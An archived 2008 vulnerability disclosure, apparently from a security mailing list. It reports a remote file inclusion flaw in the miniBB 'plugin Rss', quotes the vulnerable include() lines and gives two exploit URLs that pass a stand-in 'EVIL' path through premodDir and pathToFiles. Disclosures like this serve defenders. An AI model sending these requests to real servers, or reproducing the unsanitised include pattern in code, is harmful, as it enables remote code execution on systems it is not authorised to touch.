Related information

Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)

MJGuest 6.8 GT Cross Site Scripting Vulnerability

Gregarius <= 0.5.4 SQL Injection

[DSECRG-08-034] Local File Include Vulnerability in Minishowcase v09b136

HIOX Random Ad 1.3 (hioxRandomAd. php hm) RFI Vulnerability

From:	Ghost hacker <ghost-r00t_(at)_hotmail.com>
Date:	30.07.2008
Subject:	plugin Rss Remote File Inclusion Vulnerability

#################################################################################
#################
plugin Rss Remote File Inclusion Vulnerability
Ghost Hacker, http://gh0st10.wordpress.com
|,  .-.  .-.  ,|
| )(_o/  \o_)( | R-H team
|/     /\     \|
#################################################################################
#################
[~] Found by : Ghost Hacker
[~] HomePage : real-hack.net
[~] Email : Ghost-r00t@Hotmail.com
[~] Name Script : plugin Rss
[~] Download Script : http://www.minibb.com/download.php?file=minibb_plugin_rss
#################################################################################
#################
[~] Error :
include ($pathToFiles.'setup_mysql.php');
include ($pathToFiles.'bb_functions.php');
include($premodDir.'premoder_posts.php');
include($premodDir.'premoder_topics.php');
[~] Exploit :
http://xxxx/rss.php?premodDir=EVIL
http://xxxx/rss.php?pathToFiles=EVIL
#################################################################################
#################
[~] Greetz :
PROTO & QaTaR BoeZ TeaM & Aseg-Rabe7 & Dmar al3noOoz & 4Bo3tB & L&J Team & Root Hacker ..
Qptan & ScarY.HaCkEr & EgYpTiaNxHaCkEr the-pirate.org & Mr.hope
All Members Real Hack And All My Friends ..
#################################################################################
#################
Found by : Ghost Hacker [ R-H TeaM ]
#################################################################################
#################

hi str0ke
HomePage plugin Rss http://www.minibb.com
s33 y0u :) ,
_________________________________________________________________
Express yourself instantly with MSN Messenger! Download today it's FREE!
http://messenger.msn.click-url.com/go/onm00200471ave/direct/01/